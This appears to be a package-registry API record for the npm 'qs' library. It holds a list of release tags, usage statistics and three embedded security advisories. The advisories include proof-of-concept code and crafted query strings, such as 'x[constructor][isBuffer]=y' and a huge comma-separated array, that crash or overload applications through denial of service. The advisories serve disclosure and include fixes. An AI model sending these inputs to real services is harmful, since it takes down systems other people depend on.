0.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.6/manifests"},{"name":"v0.6.5","sha":"bb880ef7c7b69c03f9670c01c367b77fe39fcdb2","kind":"tag","published_at":"2013-05-13T15:40:13.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.6.5","html_url":"https://github.com/ljharb/qs/releases/tag/v0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.5/manifests"},{"name":"v0.6.4","sha":"8e72c726d848efd37d11e604eb7e2cf3c81e132e","kind":"tag","published_at":"2013-05-07T14:51:33.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.6.4","html_url":"https://github.com/ljharb/qs/releases/tag/v0.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.4/manifests"},{"name":"v0.6.3","sha":"e08ca45467d84876813995640c90bc2c32d49834","kind":"tag","published_at":"2013-05-03T19:49:44.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.6.3","html_url":"https://github.com/ljharb/qs/releases/tag/v0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.3/manifests"},{"name":"v0.6.2","sha":"42a6263927658191c73960dad1014cf7f792d4e6","kind":"tag","published_at":"2013-05-02T20:58:17.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.6.2","html_url":"https://github.com/ljharb/qs/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"aa512e5a848a5aba3c09961d0e7850bc57b07b69","kind":"tag","published_at":"2013-04-26T20:11:16.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.6.1","html_url":"https://github.com/ljharb/qs/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"936b5e4301a9e0a19774b39b3ca38fdfd3247145","kind":"tag","published_at":"2013-04-23T15:58:46.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.6.0","html_url":"https://github.com/ljharb/qs/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.6.0/manifests"},{"name":"v0.5.6","sha":"d06075cf67f1e5351628389c0c6046f7c39b5bae","kind":"tag","published_at":"2013-04-09T17:11:34.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.5.6","html_url":"https://github.com/ljharb/qs/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"4651de5952faae622517244f4690c9503aa55ba2","kind":"tag","published_at":"2013-03-20T19:36:29.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.5.5","html_url":"https://github.com/ljharb/qs/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"a1f32de7220d7bb918ec9ad9450943be85b0e37a","kind":"tag","published_at":"2013-03-15T23:32:42.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.5.4","html_url":"https://github.com/ljharb/qs/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"66d9131a866e876d571b9df58b0b003970e9b4f3","kind":"tag","published_at":"2012-12-10T00:18:40.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.5.3","html_url":"https://github.com/ljharb/qs/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"8dfa363ec8a0139bae38347c8ec43a73a124cd74","kind":"tag","published_at":"2012-11-14T19:56:05.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.5.2","html_url":"https://github.com/ljharb/qs/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"a172dcf1d63513cca96b5f5f845d4354585e9fa5","kind":"tag","published_at":"2012-09-18T18:42:54.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.5.1","html_url":"https://github.com/ljharb/qs/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"f59b25829da47ee9a5f16a24579d12afbcc94e56","kind":"tag","published_at":"2012-05-04T21:31:42.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.5.0","html_url":"https://github.com/ljharb/qs/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"199c17d09da7a05701003c3095a9ad1a9dc2f955","kind":"tag","published_at":"2012-02-08T20:45:00.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.4.2","html_url":"https://github.com/ljharb/qs/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"1f2bac6ac9599e95bfeae9132ca95e97fd85fad0","kind":"tag","published_at":"2012-01-26T13:38:29.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.4.1","html_url":"https://github.com/ljharb/qs/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"cea43afc055ac8b2e92a1611200b4c92a599062e","kind":"tag","published_at":"2011-11-22T02:25:00.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.4.0","html_url":"https://github.com/ljharb/qs/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.4.0/manifests"},{"name":"v0.3.2","sha":"e6df3ad0e076ebd4b9a96e1d71fbc246a7b351d2","kind":"tag","published_at":"2011-11-09T03:42:02.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.3.2","html_url":"https://github.com/ljharb/qs/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"9a49995400e51f9bd1da7a33ddb1ae98d5b27bc8","kind":"tag","published_at":"2011-08-17T14:52:51.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.3.1","html_url":"https://github.com/ljharb/qs/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"991319b4142ee9cd40e182918e4edf02f80f0f8c","kind":"tag","published_at":"2011-07-19T19:07:33.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.3.0","html_url":"https://github.com/ljharb/qs/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"147d1393cf00ec73cdfc79ffc8024ff07a4146d6","kind":"tag","published_at":"2011-06-29T16:33:47.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.2.0","html_url":"https://github.com/ljharb/qs/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"19723c2953a68d33a50abbdc20117ec183a9378f","kind":"tag","published_at":"2011-04-13T18:07:12.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.1.0","html_url":"https://github.com/ljharb/qs/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.1.0/manifests"},{"name":"v0.0.7","sha":"b642ddd1d64722023be786ee6966fded09221aa8","kind":"tag","published_at":"2011-03-13T17:20:29.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.0.7","html_url":"https://github.com/ljharb/qs/releases/tag/v0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.7/manifests"},{"name":"v0.0.6","sha":"e35b2c8f37b46efb080c607a2b6bd690eafac303","kind":"tag","published_at":"2011-02-14T22:27:17.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.0.6","html_url":"https://github.com/ljharb/qs/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"180086ef2d4735db7faf54a7098972a70b784e82","kind":"tag","published_at":"2011-02-10T23:44:39.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.0.5","html_url":"https://github.com/ljharb/qs/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"e52bdcfcc4f9d5e2f4c99aa28a6a560a4d52ac6a","kind":"tag","published_at":"2011-02-09T20:45:29.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.0.4","html_url":"https://github.com/ljharb/qs/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"69e2aeded3c899327459149978674b099feb2b6b","kind":"tag","published_at":"2011-02-09T00:52:11.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.0.3","html_url":"https://github.com/ljharb/qs/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"4bcae089ee5276d3212682d460b8571f0583c1fa","kind":"tag","published_at":"2011-02-07T16:44:56.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.0.2","html_url":"https://github.com/ljharb/qs/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"97a5da111746e404f34db87d365a5642acf4deb3","kind":"tag","published_at":"2011-02-04T03:46:27.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.0.1","html_url":"https://github.com/ljharb/qs/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-10-21T16:58:58.911Z","dependent_packages_count":15944,"downloads":778170338,"downloads_period":"last-month","dependent_repos_count":2110964,"rankings":{"downloads":0.0019165879040304202,"dependent_repos_count":0.013744673254618157,"dependent_packages_count":0.0064068795649016895,"stargazers_count":1.0956859249069906,"forks_count":1.385391876514789,"docker_downloads_count":0.008460366604934282,"average":0.41860105145837734},"purl":"pkg:npm/qs","advisories":[{"uuid":"GSA_kwCzR0hTQS14NWZwLXdqOWMtbXhteM4ABodN","url":"https://github.com/advisories/GHSA-x5fp-wj9c-mxmx","title":"qs array-limit bypass via bracket-key comma parsing","description":"### Summary\n\n`qs` `v6.15.3` allows bracket-key input to bypass `arrayLimit` and `throwOnLimitExceeded` when `comma: true`. The input `a[]=1,2,3,4` succeeds with `arrayLimit: 3`, while the equivalent plain-key input is rejected.\n\nAffected version tested:\n\n```text\nqs v6.15.3\ncommit 18d085e919dae70c8f1b200ab99323058edab2c2\n```\n\n### Details\n\n`parseArrayValue()` enforces the comma limit only for flat values. The `a[]` form is marked non-flat, so its comma-separated value is wrapped after parsing and the inner array is not checked. A single parameter can therefore materialize arbitrarily large arrays.\n\n### PoC\n\n```js\nconst qs = require('qs')\nconst options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true }\n\nconst result = qs.parse('a[]=1,2,3,4', options)\nconsole.log(result.a[0].length) // 4; expected RangeError\n\nconst big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 })\nconsole.log(big.a[0].length) // 1000001\n```\n\nOn `v6.15.3`, the first input parses successfully and the second creates an array with 1,000,001 elements. The equivalent `a=1,2,3,4` input throws `RangeError` as expected.\n\n### Impact\n\nAn attacker who can supply a query string or form body can bypass configured array limits and force excessive memory allocation, causing denial of service. The limit must be applied after comma splitting and before the resulting array is wrapped.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:46:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883","https://github.com/ljharb/qs/security/advisories/GHSA-x5fp-wj9c-mxmx","https://nvd.nist.gov/vuln/detail/CVE-2026-82562","https://github.com/ljharb/qs/commit/8859c37470e11b42b547b275e4e9bd0bc8cc5464","https://github.com/advisories/GHSA-x5fp-wj9c-mxmx"],"source_kind":"github","identifiers":["GHSA-x5fp-wj9c-mxmx","CVE-2026-82562"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-10-16T20:01:52.278Z","epss_percentage":0.0054,"epss_percentile":0.43567,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NWZwLXdqOWMtbXhteM4ABodN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14NWZwLXdqOWMtbXhteM4ABodN","packages":[{"ecosystem":"npm","package_name":"qs","versions":[{"first_patched_version":"6.16.0","vulnerable_version_range":"\u003e= 6.14.2, \u003c= 6.15.3"}],"purl":"pkg:npm/qs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NWZwLXdqOWMtbXhteM4ABodN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00bWpyLXhtcDQtZ2gyZ84ABodM","url":"https://github.com/advisories/GHSA-4mjr-xmp4-gh2g","title":"qs: Denial of Service via Attacker Controlled isBuffer","description":"### Summary\n\n`qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` → `stringify` round-trip — no `JSON.parse` — turns an unauthenticated query string into an uncaught throw.\n\nAn attacker-controlled `parse` input reaches the host application's availability asset — via `qs`'s own recommended `plainObjects` mitigation — and triggers an uncaught exception during a `parse` → `stringify` round-trip.\n\n### Details\n`utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value:\n\n```js\nif (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }\n```\n\n`utils.isBuffer` (`lib/utils.js:327-333`) invokes `obj.constructor.isBuffer` without verifying it is callable:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n    if (!obj || typeof obj !== 'object') { return false; }\n    return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n};\n```\n\n`constructor` and `isBuffer` are ordinary keys. `qs.parse` with `plainObjects: true` or `allowPrototypes: true` keeps them as own properties, so the parsed value carries a non-function `constructor.isBuffer`; `stringify` then calls a non-callable and throws `TypeError`. By contrast `utils.isRegExp` uses a brand check (`Object.prototype.toString`); the missing guard here is an internal inconsistency, not a platform limitation.\n\n\n### Trust Boundary Note\n\n`qs.stringify` alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by **`qs.parse`, whose input is untrusted by design**. `qs.parse` normally strips a `constructor` key via its prototype guard, but with the documented options `plainObjects: true` or `allowPrototypes: true` the key survives and lands as an own property. Feeding the parsed object back into `qs.stringify` — the standard round-trip in gateways and request-forwarders — then hits the unchecked call. \n\n\n### PoC\n`poc02c_isBuffer_qs_only_roundtrip.js` — pure-`qs` chain, no `JSON.parse`; an untrusted query string alone reaches the throw:\n\n```js\n'use strict';\nvar qs = require('qs');\n\nvar untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y\n\nvar parsed = qs.parse(untrustedQueryString, { plainObjects: true });\nconsole.log('[parse] kept constructor key:', JSON.stringify(parsed));\n\ntry {\n    qs.stringify(parsed);\n    console.log('[stringify] no throw (unexpected)');\n} catch (e) {\n    console.log('[stringify] DoS reproduced -\u003e', e.constructor.name + ':', e.message);\n}\n```\n\n`poc02_isBuffer.js` — the minimal defect:\n\n```js\n'use strict';\nvar qs = require('qs');\ntry {\n    qs.stringify(JSON.parse('{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}'));\n} catch (e) {\n    console.log('[A] DoS reproduced -\u003e', e.constructor.name + ':', e.message);\n}\n```\n\n`poc02b_isBuffer_async_crash.js` — worker death in an async sink:\n\n```js\n'use strict';\nvar qs = require('qs');\n\nfunction handleRequestAsync(clientJsonBody) {\n    try {\n        setImmediate(function () {                 // async continuation, outside the try\n            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught\n        });\n        console.log('[handler] returned 200 synchronously; async work scheduled');\n    } catch (e) {\n        console.log('[handler] caught synchronously (will NOT happen):', e.message);\n    }\n}\nprocess.on('exit', function (code) {\n    console.log('[proc] process exiting with code:', code);\n});\nhandleRequestAsync('{\"filters\":{\"constructor\":{\"isBuffer\":\"x\"}}}');\n```\n\n### Execution Steps\n\n```bash\ncd poc\nnpm install qs@6.15.3\nnode poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse-\u003estringify -\u003e TypeError\nnode poc02_isBuffer.js                      # minimal defect -\u003e TypeError inside stringify\nnode poc02b_isBuffer_async_crash.js         # async sink -\u003e uncaught throw -\u003e exit code 1\n```\n\n### Reproduction Evidence\n\n`poc02c_isBuffer_qs_only_roundtrip.js` :\n\n```\n[parse] kept constructor key: {\"x\":{\"constructor\":{\"isBuffer\":\"y\"}}}\n[stringify] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02_isBuffer.js`:\n\n```\n[A] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02b_isBuffer_async_crash.js` :\n\n```\n[handler] returned 200 synchronously; async work scheduled\n[proc] process exiting with code: 1\nTypeError: obj.constructor.isBuffer is not a function\n    at Object.isBuffer (.../qs/lib/utils.js:332:78)\n    at stringify (.../qs/lib/stringify.js:127:45)\n=== EXIT CODE: 1 ===\n```\n\nThe pure-`qs` round-trip shows the malicious shape originates from `qs.parse` of an untrusted query string, with no `JSON.parse`. The synchronous `try/catch` in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.\n\n### Impact\n\nAn unauthenticated request degrades any endpoint that re-serializes deserialized client data with `qs.stringify`. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on `qs`.\n\n### Recommended Fix\n\nReplace the duck-type with a brand check mirroring `utils.isRegExp`:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n    if (!obj || typeof obj !== 'object') { return false; }\n    if (typeof Buffer !== 'undefined' \u0026\u0026 typeof Buffer.isBuffer === 'function') {\n        return Buffer.isBuffer(obj);\n    }\n    return Object.prototype.toString.call(obj) === '[object Uint8Array]';\n};\n```\n\nIf duck-typing must remain, require `typeof obj.constructor.isBuffer === 'function'` before invoking and wrap the call in `try/catch`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:45:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/ljharb/qs/security/advisories/GHSA-4mjr-xmp4-gh2g","https://nvd.nist.gov/vuln/detail/CVE-2026-82417","https://github.com/ljharb/qs/commit/e83d321ffafb38cf210683ac31714fce6ce1c6c6","https://github.com/advisories/GHSA-4mjr-xmp4-gh2g"],"source_kind":"github","identifiers":["GHSA-4mjr-xmp4-gh2g","CVE-2026-82417"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-10-16T20:01:52.280Z","epss_percentage":0.00418,"epss_percentile":0.345,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00bWpyLXhtcDQtZ2gyZ84ABodM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00bWpyLXhtcDQtZ2gyZ84ABodM","packages":[{"ecosystem":"npm","package_name":"qs","versions":[{"first_patched_version":"6.16.0","vulnerable_version_range":"\u003e= 2.2.5, \u003c 6.16.0"}],"purl":"pkg:npm/qs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00bWpyLXhtcDQtZ2gyZ84ABodM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xOG1qLW03Y3AtNXEyNs4ABXQl","url":"https://github.com/advisories/GHSA-q8mj-m7cp-5q26","title":"qs has a remotely triggerable DoS: qs.stringify crashes with TypeError on null/undefined entries in comma-format arrays when encodeValuesOnly is set","description":"### Summary\n\n`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).\n\n### Details\n\nIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\n\n```js\nobj = utils.maybeMap(obj, encoder);\n```\n\n`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\n\nSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\n\n#### PoC\n\n```js\nconst qs = require('qs');\n\nqs.stringify({ a: [null, 'b'] },      { arrayFormat: 'comma', encodeValuesOnly: true });\nqs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\nqs.stringify({ a: [null] },           { arrayFormat: 'comma', encodeValuesOnly: true });\n// TypeError: Cannot read properties of null (reading 'length')\n//     at encode 